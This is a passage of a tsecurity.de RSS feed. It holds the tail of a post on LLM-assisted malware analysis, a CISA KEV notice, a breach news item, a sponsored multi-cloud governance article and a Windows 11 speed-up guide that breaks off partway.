<tr>
<td>
<p><span>medui.exe</span></p>
</td>
<td>
<p><span>719b44d93ab39b4fe6113825349addfe5bd411b4d25081916561f9c403599e50</span></p>
</td>
<td>
<p><span>833.50 KB (853504 bytes)</span></p>
</td>
<td>
<p><span>2024-03-27</span></p>
</td>
<td>
<p><span>Win32 EXE</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<h2><span>Prompt</span></h2>
<p><span>The following is the exact prompt used in all the examples covered in the post. The only exception is the example where the word "disassembled" is used instead of "decompiled" because, as explained, we're working with disassembled code rather than decompiled code to show that Gemini 1.5 Pro can interpret both.<br><br></span></p>
<div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col></colgroup>
<tbody>
<tr>
<td>
<p><span>Act as a malware analyst by thoroughly examining this decompiled executable code. Methodically break down each step, focusing keenly on understanding the underlying logic and objective. Your task is to craft a detailed summary that encapsulates the code's behavior, pinpointing any malicious functionality. Start with a verdict (Benign or Malicious), then a list of activities including a list of IOCs if any URLs, created files, registry entries, mutex, network activity, etc.</span></p>
<p><span>+[attached decompiled.c.txt sample file]</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA Adds One Known Exploited Vulnerability to Catalog]]></title>
<description><![CDATA[CISA has added one new vulnerability to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.

CVE-2026-28318 SolarWinds Serv-U Uncontrolled Resource Consumption Vulnerability

This type of vulnerability is a frequent attack vector for malicious cyber actors...]]></description>
<link>https://tsecurity.de/de/3576333/it-security-nachrichten/cisa-adds-one-known-exploited-vulnerability-to-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576333/it-security-nachrichten/cisa-adds-one-known-exploited-vulnerability-to-catalog/</guid>
<pubDate>Fri, 05 Jun 2026 20:38:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA has added one new vulnerability to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Known Exploited Vulnerabilities (KEV) Catalog</a>, based on evidence of active exploitation.</p>
<ul>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-28318" target="_blank">CVE-2026-28318</a> SolarWinds Serv-U Uncontrolled Resource Consumption Vulnerability</li>
</ul>
<p>This type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise.</p>
<p><a href="https://www.cisa.gov/binding-operational-directive-22-01">Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities</a> established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the <a href="https://www.cisa.gov/sites/default/files/publications/reducing_the_significant_risk_of_known_exploited_vulnerabilities_211103.pdf">BOD 22-01 Fact Sheet</a> for more information.</p>
<p>Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">KEV Catalog vulnerabilities</a> as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the <a href="https://www.cisa.gov/known-exploited-vulnerabilities">specified criteria</a>. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Atlas Menu Data Breach Exposes 64,000 GTA V and CS2 Cheat Service Users]]></title>
<description><![CDATA[Atlas Menu Data Breach exposes 64,000 GTA V and CS2 cheat service users, leaking emails, IPs, support tickets and hashed passwords. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original article:…
Read more →
The post Atlas Menu Data Breach ...]]></description>
<link>https://tsecurity.de/de/3576238/it-security-nachrichten/atlas-menu-data-breach-exposes-64000-gta-v-and-cs2-cheat-service-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576238/it-security-nachrichten/atlas-menu-data-breach-exposes-64000-gta-v-and-cs2-cheat-service-users/</guid>
<pubDate>Fri, 05 Jun 2026 19:53:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Atlas Menu Data Breach exposes 64,000 GTA V and CS2 cheat service users, leaking emails, IPs, support tickets and hashed passwords. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original article:…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/atlas-menu-data-breach-exposes-64000-gta-v-and-cs2-cheat-service-users/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/atlas-menu-data-breach-exposes-64000-gta-v-and-cs2-cheat-service-users/">Atlas Menu Data Breach Exposes 64,000 GTA V and CS2 Cheat Service Users</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Atlas Menu Data Breach Exposes 64,000 GTA V and CS2 Cheat Service Users]]></title>
<description><![CDATA[Atlas Menu Data Breach exposes 64,000 GTA V and CS2 cheat service users, leaking emails, IPs, support tickets and hashed passwords.]]></description>
<link>https://tsecurity.de/de/3576179/it-security-nachrichten/atlas-menu-data-breach-exposes-64000-gta-v-and-cs2-cheat-service-users/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3576179/it-security-nachrichten/atlas-menu-data-breach-exposes-64000-gta-v-and-cs2-cheat-service-users/</guid>
<pubDate>Fri, 05 Jun 2026 19:23:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Atlas Menu Data Breach exposes 64,000 GTA V and CS2 cheat service users, leaking emails, IPs, support tickets and hashed passwords.]]></content:encoded>
</item>
<item>
<title><![CDATA[Multi-cloud doesn’t need another tool]]></title>
<description><![CDATA[Multi-cloud is now the operating reality of every serious enterprise. Governing it requires four disciplines – not another tool. A field-tested framework for the CIOs running it.


Tata Communications



Walk into almost any large enterprise today and ask the CIO how their multi-cloud is going. T...]]></description>
<link>https://tsecurity.de/de/3575567/it-nachrichten/multi-cloud-doesnt-need-another-tool/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575567/it-nachrichten/multi-cloud-doesnt-need-another-tool/</guid>
<pubDate>Fri, 05 Jun 2026 16:03:01 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><em>Multi-cloud is now the operating reality of every serious enterprise. Governing it requires four disciplines – not another tool. A field-tested framework for the CIOs running it.</em></p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Screenshot-2026-06-04-at-9.42.41-AM-1.png?w=1024" alt="Tata Communications" class="wp-image-4181768" width="1024" height="232" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Tata Communications</p></div>



<p>Walk into almost any large enterprise today and ask the CIO how their multi-cloud is going. The answer is rarely a single sentence. It’s a list of qualifications: two strategic hyperscalers, a third for a regulated workload, a sovereign cloud for one geography, a colocation footprint for latency-sensitive systems, an on-premises estate that hasn’t gone anywhere, and a long tail of SaaS that quietly behaves like infrastructure when it fails.</p>



<p>This is not a failure of strategy. It is the strategy. Multi-cloud is the operating reality of every serious enterprise, driven by acquisition history, regulatory geography, AI workload economics, and the simple fact that no single provider is best at everything. The question has shifted from whether to run multi-cloud to how to govern what we already have.</p>



<p>And on that question, most enterprises are still trying to buy their way out. Another observability tool. Another policy engine. Another connectivity overlay. The result, predictably, is a stack with more dashboards than the people watching them have hours in the day, and a complexity tax that compounds in the seams between every tool the procurement team has signed off on.</p>



<p>The CIOs I work with – increasingly – have stopped asking what to buy next. They’ve started asking a different question: what would it take to run multi-cloud the way we already run finance, or security, or supply chain? As an operating discipline. Not a project. Not a stack. A continuous loop, with clear ownership and a clear cycle.</p>



<p>That is the case I want to make. Multi-cloud has matured past the point where it can be governed by tools alone. It needs an operating model with four disciplines, each of which the next three years will judge every CIO on: <strong>Measure, Route, Comply, Recover</strong> (Figure 1).</p>



<p>These aren’t sequential phases. They’re a closed loop. And the platforms that close it – disclosure: my team at Tata Communications is building one called IZO+ Multi Cloud Network (MCN) – are about to redefine what good multi-cloud looks like. The platforms that don’t will, eventually, be remembered as dashboards bolted onto point tools.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Screenshot-2026-06-04-at-9.42.56-AM.png" alt="Tata graph" class="wp-image-4181770" width="1024" height="728" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Tata Communications</p></div>



<p><strong><em>Figure 1. </em></strong><em>The four disciplines of a multi-cloud operating model, arranged as a closed cycle.</em></p>



<p><strong>PILLAR 1</strong></p>



<h3 class="wp-block-heading">Measure: Quantify what your bill never will</h3>



<p>Of all the line items on the enterprise technology balance sheet, the largest one is the one no system reports: the cost of complexity itself. CFOs receive a cloud bill every month. CIOs receive an uptime dashboard every morning. Neither captures the cost of the routine policy change that needs three tickets across two teams, or the configuration drift in one region that surfaces as a customer outage in another, or the senior-engineer time spent reconciling things that should never have diverged.</p>



<p>The first discipline of a multi-cloud operating model is to make this cost legible. That means a complexity index – a quantified score, not a qualitative survey – that decomposes into the dimensions actually driving it: base connectivity, cross-domain coupling, governance gap, toolchain fragmentation, and geographic dispersion. (My team has built and patented one called the <strong>Enterprise Multi-Cloud Complexity Index</strong>. The framework matters more than the brand.)</p>



<p>A good index does three things a one-off assessment cannot: it is <strong>continuous</strong> (the score moves with reality, not with the audit cycle), <strong>decomposable</strong> (it tells you which dimension is driving the number, so remediation can be prioritised), and <strong>peer-benchmarked</strong> (it tells you whether your number is normal for your industry and your scale).</p>



<p>The CIO insight is simple: a one-off complexity score is a slide. A live one is an operating signal. And once you have an operating signal, you can do something with it. That something is the next three disciplines.</p>



<p><strong>PILLAR 2</strong></p>



<h3 class="wp-block-heading">Route: Make applications self-networking</h3>



<p>Once you can see complexity, the next discipline is to stop accumulating more of it. That is what routing – done right – does.</p>



<p>The traditional multi-cloud network is defined by infrastructure topology: VPCs, VLANs, transit gateways, peering connections, the long tail of NATs and firewalls in between. Every new application inherits that topology. Every new region multiplies it. Every team learns it differently. The result is what most enterprises now have: a network that can technically reach everywhere but can’t be reasoned about anywhere.</p>



<p>The shift that matters is from <strong>infrastructure-defined</strong> to <strong>intent-defined</strong> routing. The right unit of design is no longer the VPC; it is the application – or, more precisely, an Application Connectivity Domain (ACD): a logical boundary that spans clouds, regions, and on-premises footprints, and within which an application’s reachability, identity, and policy travel together. The infrastructure underneath becomes a substrate to be orchestrated, not a topology to be hand-stitched.</p>



<p>For AI workloads in particular, this matters more than most CIOs realise. All-reduce performance, inference latency, and data-gravity economics are all functions of physical fabric layout – GPU placement, interconnect topology, regional data residency. A network that doesn’t know where the GPUs are will route AI traffic the way it routes everything else, and the training run will pay for it.</p>



<p>The CIO question to ask: <em>can my network be defined by what my applications need, or only by where my infrastructure happens to sit?</em></p>



<p><strong>PILLAR 3</strong></p>



<h3 class="wp-block-heading">Comply: Move sovereignty into the data plane</h3>



<p>For most enterprises, compliance is still something that happens after a routing decision is made. A packet flows; an audit later confirms whether it should have done so. A workload runs in a region; a quarterly review checks whether the data residency clause was honoured.</p>



<p>That model has expired. Between GDPR Article 44, India’s DPDP Act, the EU AI Act, the patchwork of GCC sovereignty mandates, and a growing list of sectoral regulations, jurisdictional rules now change faster than annual audits can catch up with them. Treating sovereignty as an after-the-fact check guarantees one of two outcomes: a compliance violation, or a chilling effect that slows every cloud decision into paralysis.</p>



<p>The discipline I’d urge every CIO to adopt is <strong>pre-flight compliance</strong>: jurisdictional assurance built into the routing decision itself, not bolted on afterwards. Before a workload is placed, before a packet leaves a region, before a failover target is chosen, the platform should already know which jurisdictions are eligible – and silently exclude the ones that aren’t. Compliance becomes a property of the data plane, not a clause in a policy deck.</p>



<p>The shift in CIO conversation is unmistakable when this works. The board no longer asks “Are we compliant?” They ask “What would it cost to add another jurisdiction?” – and the answer is a configuration change, not a programme.</p>



<p><strong>PILLAR 4</strong></p>



<h3 class="wp-block-heading">Recover: Score yourself against your weakest layer</h3>



<p>The February 2026 AWS UAE infrastructure incident was, for many of the CIOs I work with, the moment the recover discipline stopped being theoretical. Enterprises that had spent years building “multi-region” architectures discovered that being multi-region and being recoverable are not the same thing. Their compute had a backup region. Their data didn’t. Or their data did, but their identity layer was tied to the failed region’s IAM. Or every layer was technically replicated, but no one had ever tested the failover end-to-end under load.</p>



<p>The most useful framing I’ve seen is the <strong>Failover Readiness Score (FRS)</strong>: a single number scored as the <em>weakest</em> of five layers – Infrastructure-as-Code, Network, Data, Workload, and Sovereignty. The weakest-link formulation is the entire point. Your real recovery time objective is governed by your worst-prepared layer, not your average. An IaC pipeline that can spin up a region in ninety seconds means nothing if the database promotion takes four hours, or if the failover target turns out to be sovereignty-ineligible for the data you’re moving to it.</p>



<p>Pre-flight failover simulation – running the failover continuously in shadow mode against multiple targets and reporting which are viable – is the discipline that separates resilience theatre from actual recoverability. The CIO question: <em>if I had to fail over right now, against my second-best target, would my weakest layer let me?</em></p>



<p><strong>THE SYNTHESIS</strong></p>



<h3 class="wp-block-heading">The loop</h3>



<p>The four disciplines look like a stack. They are actually a feedback cycle.</p>



<p><strong>Measure</strong> identifies the highest-complexity surfaces in your estate. <strong>Route</strong> lets you bypass or absorb them without rebuilding applications. <strong>Comply</strong> ensures every routing and failover decision is jurisdictionally clean by construction. <strong>Recover</strong> validates, continuously, that your weakest layer can carry the load when something goes down – and feeds the result back to <strong>Measure</strong>, which updates the complexity score and the cycle starts again.</p>



<p>The reason the loop matters more than any single pillar is that it eliminates the place where complexity wins today: the seam between teams. Today, measurement lives with the FinOps and architecture teams; routing lives with networking; compliance lives with risk; recovery lives with SRE. Each owns its piece. Nobody owns the seam. The complexity tax compounds in the seam.</p>



<p>A platform that closes the loop collapses the seams. That is the structural change underway in our category, and it is the change CIOs should be evaluating vendors against.</p>



<h3 class="wp-block-heading">A four-question test for your next vendor conversation</h3>



<p>Before the next multi-cloud purchase, ask:</p>



<ol class="wp-block-list">
<li><strong>Can I measure complexity continuously, not just survey it?</strong> A score that doesn’t move with reality is a slide, not a signal.</li>



<li><strong>Can I route around complexity without rebuilding applications?</strong> If every new connectivity decision means new infrastructure, you’ve bought a tool, not a fabric.</li>



<li><strong>Is compliance enforced in the data plane, or only in policy decks?</strong> If the answer involves a quarterly review, your sovereignty posture is a hope, not a guarantee.</li>



<li><strong>Is my failover readiness scored against my weakest layer?</strong> Average preparedness is the wrong number. The weakest-link score is the only honest one.</li>
</ol>



<p>If your current stack can’t answer all four with a straight yes, the right next move isn’t another point tool. It’s the loop. That, more than any individual product capability, is what separates the CIOs who will spend the next three years firefighting multi-cloud from the ones who will spend it compounding it.</p>



<p><strong>To learn more, </strong><a href="https://explore.tatacommunications.com/multi-cloud-complexity-calculator/?utm_source=foundry-dp&amp;utm_medium=cpm&amp;utm_campaign=emci-article" rel="sponsored"><strong>visit us here</strong></a><strong>.</strong></p>



<p>————————————————————</p>



<p>&gt;About the author. <em>The author leads product and strategy for IZO+ MCN, a multi-cloud overlay networking platform developed by Tata Communications. The Enterprise Multi-Cloud Complexity Index (EMCI) referenced in this article is a patent-pending framework. Views are the author’s own.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[‘In the worst cases, they could lose all their A-level grades’: Students could resort to using smart glasses and hidden ear pieces to cheat in exams — but it’s not just a threat to UK schools]]></title>
<description><![CDATA[UK government warns that cheating cases in exams are increasing, and it's because of the rise of smart devices.]]></description>
<link>https://tsecurity.de/de/3575547/it-nachrichten/in-the-worst-cases-they-could-lose-all-their-a-level-grades-students-could-resort-to-using-smart-glasses-and-hidden-ear-pieces-to-cheat-in-exams-but-its-not-just-a-threat-to-uk-schools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575547/it-nachrichten/in-the-worst-cases-they-could-lose-all-their-a-level-grades-students-could-resort-to-using-smart-glasses-and-hidden-ear-pieces-to-cheat-in-exams-but-its-not-just-a-threat-to-uk-schools/</guid>
<pubDate>Fri, 05 Jun 2026 15:49:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[UK government warns that cheating cases in exams are increasing, and it's because of the rise of smart devices.]]></content:encoded>
</item>
<item>
<title><![CDATA[16 ways to speed up Windows 11]]></title>
<description><![CDATA[Windows 11 does a lot under the hood to speed up a PC’s performance, but PCs tend to slow down over time as they accumulate apps, files, drivers, and other detritus. Even zippy new Windows 11 devices can be sped up — and protected against future slowdowns — with a few minor system tweaks.



It’s...]]></description>
<link>https://tsecurity.de/de/3575028/it-nachrichten/16-ways-to-speed-up-windows-11/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3575028/it-nachrichten/16-ways-to-speed-up-windows-11/</guid>
<pubDate>Fri, 05 Jun 2026 12:17:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Windows 11 <a href="https://www.pcworld.com/article/395131/how-windows-11-will-speed-up-your-slow-pc.html" target="_blank">does a lot under the hood</a> to speed up a PC’s performance, but PCs tend to slow down over time as they accumulate apps, files, drivers, and other detritus. Even zippy new Windows 11 devices can be sped up — and protected against future slowdowns — with a few minor system tweaks.</p>



<p>It’s simple to make your Windows PC run faster. Just follow these tips.</p>



<h3 class="wp-block-heading">Top ways to speed up Windows 11</h3>



<ol class="wp-block-list">
<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#startup-apps">Disable programs that run on startup</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#unused-apps">Turn off unused apps with high resource usage</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#efficiency-mode">Use Efficiency mode</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#automatic-maintenance">Use automatic Windows maintenance</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#bloatware">Kill adware and bloatware</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#search-indexing">Turn off search indexing</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#storage-sense">Clean out your hard drive</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#visual-effects">Disable shadows, animations, and visual effects</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#transparency">Disable transparency</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#power-settings">Change your power settings</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#win-tips-tricks">Turn off Windows tips and tricks</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#game-mode">Disable Game Mode</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#update-drivers">Update device drivers</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#background-app-permissions">Turn off background app permissions</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#restore-your-pc">Roll back your PC to a previous state</a></li>



<li><a href="https://www.computerworld.com/article/1617815/how-to-speed-up-windows-11.html#restart">Restart Windows</a></li>
</ol>



<p>Read on for details.</p>



<p><em><em>Note: This story covers Windows 11 version 25H2. If you have an earlier release of Windows 11, some things may be slightly different. If you have Windows 10, see our </em><a href="https://www.computerworld.com/article/1634994/ways-to-speed-up-windows-10.html"><em>Windows 10 speed tips</em></a><em>.</em></em></p>



<h2 class="wp-block-heading">1. Disable programs that run on startup</h2>



<p>Your Windows 11 PC could be a laggard if programs you rarely or never use are running in the background. Your PC will run faster if you stop them from running.</p>



<p>To do it, first launch the Task Manager in one of these ways: </p>



<ul class="wp-block-list">
<li>Press Ctrl-Shift-Esc.</li>



<li>Right-click the lower-right corner of your screen and select <em>Task Manager</em>.</li>



<li>Type <strong>task manager</strong> into the Windows 11 search box and press Enter. </li>
</ul>



<p>There’s a lot you can use Task Manager for, but here we’re focusing only on killing unnecessary programs that run at startup.</p>



<p>Click the <em>Startup apps</em> icon on the left side of the screen. (It’s the fifth icon from the top.) It displays a list of the programs and services that launch when you start Windows. The list includes each program’s name as well as its publisher, whether it’s enabled to run on startup, and its “Startup impact,” which is how much it slows down Windows 11 when the system starts up. Note, though, that the screen doesn’t show how much each program will impact your performance after startup, during normal PC operations.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-01-task-manager-startup.jpg?quality=50&amp;strip=all" alt="screenshot of task manager startup apps screen with list of apps that run at startup" class="wp-image-4177286" width="803" height="446" sizes="auto, (max-width: 803px) 100vw, 803px"><figcaption class="wp-element-caption"><p>You can use the Windows Task Manager to get information about programs that launch at startup and disable any you don’t need.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<p>Also note that not all apps will have useful information about their startup impact — many show up as “Not measured” in Task Manager. There are multiple reasons you might see this. For example, some apps don’t provide the Windows metadata required to measure their startup impact, and others start up too late in the boot process to be measured. Still others may not have been started a sufficient number of times for Windows to measure their impact. (The Windows Club has an <a href="https://www.thewindowsclub.com/startup-impact-not-measured-in-task-manager" target="_blank" rel="noreferrer noopener">article</a> with tips and workarounds for “Not measured” apps.)</p>



<p>To stop a program or service from launching at startup, right-click it and select <em>Disable</em>. This doesn’t disable the program entirely; it only prevents it from launching at startup — you can run the application after launch. Also, if you later decide you want it to launch at startup, you can return to this area of the Task Manager, right-click the application and select <em>Enable</em>.</p>



<p>Many of the programs and services that run on startup may be familiar to you, like Microsoft OneDrive or Spotify. But you may not recognize many of them. (Anyone who immediately knows what “bzbui.exe” is, please raise your hand. No fair Googling it first.)</p>



<p>The Task Manager can find information about unfamiliar programs. Right-click an item and select <em>Properties</em> for more information about it, including its location on your hard disk, whether it has a digital signature, and other information such as the version number, the file size, and the last time it was modified. (Note that not all programs provide this information when you right-click them — the Properties button may be grayed out.)</p>



<p>You can also right-click the item and select <em>Open file location</em>. That opens File Explorer and takes it to the folder where the file is located, which may give you another clue about the program’s purpose.</p>



<p>Finally, and most helpfully, you can select <em>Search online</em> after you right-click. Bing will then launch with links to sites with information about the program or service. With Task Manager’s help, I easily discovered that bzbui.exe is Backblaze backup software, something I want to run automatically during startup.</p>



<p>If you’re worried about one of the listed applications, you can go to a site run by Reason Software called “<a href="https://www.shouldiblockit.com/" target="_blank" rel="noreferrer noopener">Should I Block It?</a>” and search for the file name. You’ll usually find very solid information about the program or service.</p>



<p>Now that you’ve selected all the programs that you want to disable at startup, the next time you restart your computer, the system won’t launch those unnecessary programs automatically, and your PC may run faster.</p>



<h2 class="wp-block-heading">2. Turn off unused apps with high resource usage</h2>



<p>It’s easy to forget just how many apps you’ve got running at the same time in Windows. Sometimes your PC’s sluggishness can be due to running too many apps you’re not currently using — or a single app that’s taking up a lot of resources.</p>



<p>First launch Task Manager using one of the methods covered in the previous tip. If you’re already in Task Manager, click the <em>Processes</em> icon on the left side of the screen (three squares in a grid, second from top) to get to the Processes screen. You’ll see a list of every app or process you’re currently running.</p>



<p>Look for apps you’re currently running but not actively using, and also look for any not running with high memory or CPU usage. Right-click any app you want to close and select <em>End task</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-02-task-manager-processes.jpg?quality=50&amp;strip=all" alt="screenshot of task manager processes screen with list of processes and cpu and memory usage" class="wp-image-4177292" width="766" height="583" sizes="auto, (max-width: 766px) 100vw, 766px"><figcaption class="wp-element-caption"><p>Use Task Manager to identify and shut down unused apps using lots of system resources.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">3. Use Efficiency Mode</h2>



<p>Task Manager has another trick up its sleeve for juicing Windows 11 performance. Efficiency Mode can speed up your PC and improve laptop battery life. It lowers the process priority of background applications, among other efficiency tricks.</p>



<p>The term is a bit of a misnomer, because you can’t put your entire PC into Efficiency Mode. Instead, you use Task Manager to put individual apps and processes into it. There’s one caveat: You’ll only be able to use it on some apps and processes.</p>



<p>On the Processes screen in Task Manager (see previous tip), look through the list of currently running apps and processes. Click the app or process you want to put into Efficiency Mode, click the <em>Efficiency mode</em> icon at the top right of the screen, and then confirm that you want to turn on Efficiency Mode for the app.</p>



<p>Note that if the Efficiency mode icon is grayed out when you click an app or process, you won’t be able to use it. Also, some apps, including Microsoft Edge, automatically work in Efficiency Mode by default, and the mode can’t be turned off.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-02-efficiency-mode.jpg?quality=50&amp;strip=all" alt="windows task manager with turn on efficiency mode pop-up" class="wp-image-3950725" width="766" height="583" sizes="auto, (max-width: 766px) 100vw, 766px"><figcaption class="wp-element-caption"><p>Turning on Efficiency Mode for an app.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">4. Use automatic Windows maintenance</h2>



<p>In the background, Windows 11 constantly performs maintenance on your PC, doing things like security scanning and performing system diagnostics to make sure everything is up to snuff. It automatically fixes problems it finds, which helps your PC run at peak performance. The automatic maintenance runs every day at 2:00 a.m. if your device is plugged into a power source and is asleep.</p>



<p>However, that feature may have been accidentally turned off, or it may not have run recently if you shut down your PC at night (rather than putting it in Sleep mode) or you haven’t had your laptop plugged in for a while. You should make sure it’s turned on and runs every day. You can also run it manually if you’d like.</p>



<p>Type <strong>control</strong> in the search box on the taskbar and select <em>Control Panel</em> from the results to run the Control Panel app. In the app, select <em>System and Security &gt; Security and Maintenance</em>. In the Maintenance section, under Automatic Maintenance, click <em>Start maintenance</em> if you want it to run now.</p>



<p>To make sure that it runs every day, click <em>Change maintenance settings</em>, and on the screen that appears, select the time you’d like maintenance to run and check the box next to <em>Allow scheduled maintenance to wake up my computer at the scheduled time</em>. Then click <em>OK</em>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/03/win11-speed-tips-03-schedule-automatic-maintenance.jpg?quality=50&amp;strip=all" alt="automatic maintenance scheduling screen in windows 11" class="wp-image-3856525" width="784" height="634" sizes="auto, (max-width: 784px) 100vw, 784px"><figcaption class="wp-element-caption"><p>Here’s how to set a time each day for Windows 11 to run its maintenance tasks.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



<h2 class="wp-block-heading">5. Kill adware and bloatware</h2>



<p>It may be that what’s slowing your PC down isn’t Windows 11, but bloatware or adware that takes up CPU and system resources. Adware and bloatware are particularly insidious because they may have been installed by your computer’s manufacturer. (This is generally not a problem for business PCs but is very common on consumer devices.) They typically run automatically at startup without you even knowing it. You’ll be amazed at how much better your PC will run if you get rid of it.</p>



<p>Start by running a system scan to find adware and malware. If you’ve already installed a security suite such as Norton Security or McAfee LiveSafe, you can use that. Microsoft Defender Antivirus, the anti-malware tool built into the Windows Security app, also does a great job. Type <strong>windows security</strong> in the search box, press Enter, and on the screen that appears, click <em>Virus &amp; threat protection</em> and then click <em>Quick scan</em>. Windows Security will look for malware and remove any it finds.</p>



<p>You should get a second opinion, though, so consider a free tool like <a href="https://www.malwarebytes.com/mwb-download" target="_blank" rel="noreferrer noopener">Malwarebytes</a>. The free version scans for malware and adware and removes what it finds; the paid version offers always-on protection to stop infections in the first place.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/win11-speed-tips-05-malwarebytes.jpg?quality=50&amp;strip=all" alt="screenshot of malwarebytes software scanning for threats" class="wp-image-4177291" width="1024" height="720" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Malwarebytes scans for and removes malware.</p>
</figcaption></figure><p class="imageCredit">Preston Gralla / Foundry</p></div>



